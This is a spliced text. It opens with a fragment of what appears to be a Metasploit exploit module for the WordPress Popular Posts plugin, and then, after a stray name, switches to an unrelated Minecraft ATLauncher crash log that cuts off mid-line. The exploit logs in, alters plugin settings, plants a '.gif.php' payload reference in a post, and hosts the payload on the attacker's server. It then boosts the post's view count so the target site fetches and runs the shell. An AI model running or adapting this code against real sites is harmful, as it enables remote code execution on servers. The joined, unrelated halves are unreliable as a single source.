just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen end end
HurriKane
[16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] ATLauncher Version: 3.2.2.6 [16/5/2015 18:44:34 PM] Operating System: Windows 7 [16/5/2015 18:44:34 PM] RAM Available: 1024MB [16/5/2015 18:44:34 PM] Java Version: Launcher: 1.8.0_45, Minecraft: 1.8.0_45 [16/5/2015 18:44:34 PM] Java Path: C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:44:34 PM] 64 Bit Java: false [16/5/2015 18:44:34 PM] Launcher Directory: **USERSDIR** [16/5/2015 18:44:34 PM] Using Theme: Default Theme by RyanTheAllmighty [16/5/2015 18:44:35 PM] Showing splash screen and loading everything [16/5/2015 18:44:36 PM] Checking for updated files! [16/5/2015 18:44:39 PM] Updates found! [16/5/2015 18:44:39 PM] Downloading Launcher File packs.json [16/5/2015 18:44:42 PM] Finished downloading updated files! [16/5/2015 18:44:42 PM] Loading Language: English [16/5/2015 18:44:42 PM] Loading external library authlib-1.5.17.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-api-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-core-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library guava-17.0.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-io-2.4.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-lang3-3.3.2.jar to classpath [16/5/2015 18:44:43 PM] [Background] Checking Minecraft Versions Started [16/5/2015 18:44:47 PM] Checking account UUID's! [16/5/2015 18:44:47 PM] Launcher finished loading everything [16/5/2015 18:44:47 PM] Launcher opening [16/5/2015 18:44:47 PM] Made By Bob* [16/5/2015 18:44:47 PM] *(Not Actually) [16/5/2015 18:44:47 PM] Setting up Bottom Bar [16/5/2015 18:44:48 PM] Finished Setting up Bottom Bar [16/5/2015 18:44:48 PM] Setting up Tabs [16/5/2015 18:44:50 PM] [Background] Checking Minecraft Versions Complete [16/5/2015 18:44:51 PM] Finished Setting up Tabs [16/5/2015 18:44:51 PM] Showing Launcher [16/5/2015 18:45:06 PM] Logging into Minecraft! [16/5/2015 18:45:06 PM] Trying to login with access token! [16/5/2015 18:45:08 PM] Launching pack Sky Factory 2.4 for Minecraft 1.7.10 [16/5/2015 18:45:08 PM] Launching Minecraft with the following arguments (user related stuff has been removed): [C:\Program Files\Java\jre1.8.0_45\bin\javaw, -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump, -XX:-OmitStackTraceInFastThrow, -XX:+UseConcMarkSweepGC, -XX:+CMSIncrementalMode, -XX:-UseAdaptiveSizePolicy, -Xms256M, -Xmx1024M, -XX:MetaspaceSize=128M, -Duser.language=en, -Duser.country=US, -Dfml.log.level=INFO, -Djava.library.path=**USERSDIR**\Instances\SkyFactory\bin\natives, -cp, **USERSDIR**\ATLauncher (1).exe;anything;**USERSDIR**\Instances\SkyFactory\jarmods\forge-1.7.10-10.13.3.1395-1710ls-universal.jar;**USERSDIR**\Instances\SkyFactory\bin\launchwrapper-1.11.jar;**USERSDIR**\Instances\SkyFactory\bin\asm-all-5.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\akka-actor_2.11-2.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\config-1.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-actors-migration_2.11-1.1.0.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-compiler-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-library_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-plugin_2.11.1-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-library-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-parser-combinators_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-reflect-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-swing_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-xml_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\jopt-simple-4.5.jar;**USERSDIR**\Instances\SkyFactory\bin\lzma-0.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\guava-16.0.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-lang3-3.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\realms-1.3.5.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-compress-1.8.1.jar;**USERSDIR**\Instances\SkyFactory\bin\httpclient-4.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-logging-1.1.3.jar;**USERSDIR**\Instances\SkyFactory\bin\httpcore-4.3.2.jar;**USERSDIR**\Instances\SkyFactory\bin\vecmath-1.3.1.jar;**USERSDIR**\Instances\SkyFactory\bin\trove4j-3.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\icu4j-core-mojang-51.2.jar;**USERSDIR**\Instances\SkyFactory\bin\codecjorbis-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\codecwav-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\libraryjavasound-20101123.jar;**USERSDIR**\Instances\SkyFactory\bin\librarylwjglopenal-20100824.jar;**USERSDIR**\Instances\SkyFactory\bin\soundsystem-20120107.jar;**USERSDIR**\Instances\SkyFactory\bin\netty-all-4.0.10.Final.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-io-2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-codec-1.9.jar;**USERSDIR**\Instances\SkyFactory\bin\jinput-2.0.5.jar;**USERSDIR**\Instances\SkyFactory\bin\jutils-1.0.0.jar;**USERSDIR**\Instances\SkyFactory\bin\gson-2.2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\authlib-1.5.21.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-api-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-core-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl_util-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\twitch-5.16.jar;**USERSDIR**\Instances\SkyFactory\bin\minecraft.jar, net.minecraft.launchwrapper.Launch, --username, REDACTED, --version, 1.7.10, --gameDir, **USERSDIR**\Instances\SkyFactory, --assetsDir, **USERSDIR**\Configs\Resources, --assetIndex, 1.7.10, --uuid, 730e76d78bca447ba7dfdbc48a6c41dc, --accessToken, REDACTED, --userProperties, REDACTED, --userType, mojang, --width=854, --height=480, --tweakClass=cpw.mods.fml.common.launcher.FMLTweaker] [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Using primary tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Forge Mod Loader version 7.10.130.1395 for Minecraft 1.7.10 loading [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Java is Java HotSpot(TM) Client VM, version 1.8.0_45, running on Windows 7:x86:6.1, installed at C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:45:14 PM] [main/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:16 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.CodeChickenCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod cofh.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/ERROR] [FML]: Coremod RemoteIOCorePlugin: Unable to class load the plugin dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] java.lang.ClassNotFoundException: dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] at java.net.URLClassLoader.findClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:117) ~[launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.loadCoreMod(CoreModManager.java:417) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.discoverCoreMods(CoreModManager.java:346) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.handleLaunch(CoreModManager.java:214) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupHome(FMLLaunchHandler.java:90) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupClient(FMLLaunchHandler.java:67) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.configureForClientLaunch(FMLLaunchHandler.java:34) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.common.launcher.FMLTweaker.injectIntoClassLoader(FMLTweaker.java:126) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:115) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod com.rebelkeithy.dualhotbar.DualHotbarPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod vazkii.emotes.client.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod invtweaks.forge.asm.FMLPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod mcp.mobius.mobiuscore.asm.CoreDescription does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.nei.asm.NEICorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openblocks.OpenBlocksCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openmods.core.OpenModsCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod xreliquary.common.asm.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod thaumcraft.codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod portablejim.veinminer.asm.VeinMinerCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft Forge. Certificate fingerprint e3c3d50c7c986df74c645c0ac54639741c90a557 [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft. Certificate fingerprint cd99959656f753dc28d863b46769f7f8fbaefcfc [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:27 PM] [main/INFO] [STDOUT]: [cofh.asm.CoFHAccessTransformer:readMappingFile:40]: Adding Accesstransformer map: CoFH_at.cfg [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.client.main.Main} [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] Trying to patch EntityPlayer.isInBed (class: yz) [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] isInBed patch applied. Enabling sleeping bags [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Transformed [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a_original(Lnet/minecraft/inventory/Slot;)V - New Method [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Invoke Virtual [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Current code is OBFUSCATED [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found cpw.mods.fml.common.FMLCommonHandler with checksum 9D07ABF40E8390189AB4D1D4CAA86BAB [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Switching injection mode to FORGE [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.World [ ahb ] with checksum 1259399FD8CF71F9B1835D9BCDD827D9 [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.updateEntities()... [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.<init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:transform:88]: ********* INSIDE GuiIngameForge TRANSFORMER ABOUT TO PATCH: net.minecraftforge.client.GuiIngameForge [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:patchShift:200]: In renderToolHightlight [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.WorldServer [ mt ] with checksum A9B6290BB23DD7A1659115ABB503DDD8 [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:32 PM] [main/INFO]: Setting user: **MINECRAFTUSERNAME** [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.entity.projectile.EntityArrow], Method [func_70071_h_] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.entity.projectile.EntityArrow Finished. [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.item.ItemStack], Method [func_77953_t] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.item.ItemStack Finished. [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.Container [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.ContainerFurnace [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.inventory.ContainerFurnace], Method [func_82846_b] [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming net.minecraft.inventory.ContainerFurnace Finished. [16/5/2015 18:45:34 PM] [Client thread/INFO]: LWJGL Version: 2.9.1 [16/5/2015 18:45:37 PM] [Client thread/WARN] [OpenMods]: openmods.stencil.FramebufferHooks.createRenderbufferStorage(FramebufferHooks.java:24): Your potato failed to allocate nice buffer. No stencils for you. Cause: Invalid enum [16/5/2015 18:45:38 PM] [Client thread/INFO] [STDOUT]: [cpw.mods.fml.client.SplashProgress:start:100]: ---- Minecraft Crash Report ---- [16/5/2015 18:45:38 PM] // Why did you do that? [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] Time: 5/16/15 6:45 PM [16/5/2015 18:45:38 PM] Description: Loading screen debug info [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] java.lang.Throwable [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.SplashProgress.start(SplashProgress.java:99) [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.FMLClientHandler.beginMinecraftLoading(FMLClientHandler.java:190) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:480) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:878) [16/5/2015 18:45:38 PM] at net.minecraft.client.main.Main.main(SourceFile:148) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at java.lang.reflect.Method.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] A detailed walkthrough of the error, its code path and all known details is as follows: [16/5/2015 18:45:38 PM] --------------------------------------------------------------------------------------- [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] -- System Details -- [16/5/2015 18:45:38 PM] Details: [16/5/2015 18:45:38 PM] Minecraft Version: 1.7.10 [16/5/2015 18:45:38 PM] Operating System: Windows 7 (x86) version 6.1 [16/5/2015 18:45:38 PM] Java Version: 1.8.0_45, Oracle Corporation [16/5/2015 18:45:38 PM] Java VM Version: Java HotSpot(TM) Client VM (mixed mode), Oracle Corporation [16/5/2015 18:45:38 PM] Memory: 148240816 bytes (141 MB) / 259522560 bytes (247 MB) up to 1046937600 bytes (998 MB) [16/5/2015 18:45:38 PM] JVM Flags: 8 total; -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -XX:-OmitStackTraceInFastThrow -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xms256M -Xmx1024M -XX:MetaspaceSize=128M [16/5/2015 18:45:38 PM] AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used [16/5/2015 18:45:38 PM] IntCache: cache: 0, tcache: 0, allocated: 0, tallocated: 0 [16/5/2015 18:45:38 PM] FML: [16/5/2015 18:45:38 PM] GL info: ' Vendor: 'Intel' Version: '2.1.0 - Build 8.15.10.2086' Renderer: 'Intel(R) HD Graphics' [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Attempting early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: MinecraftForge v10.13.3.1395 Initialized [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/font/ascii.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Replaced 183 ore recipies [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Preloading CrashReport classes [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: 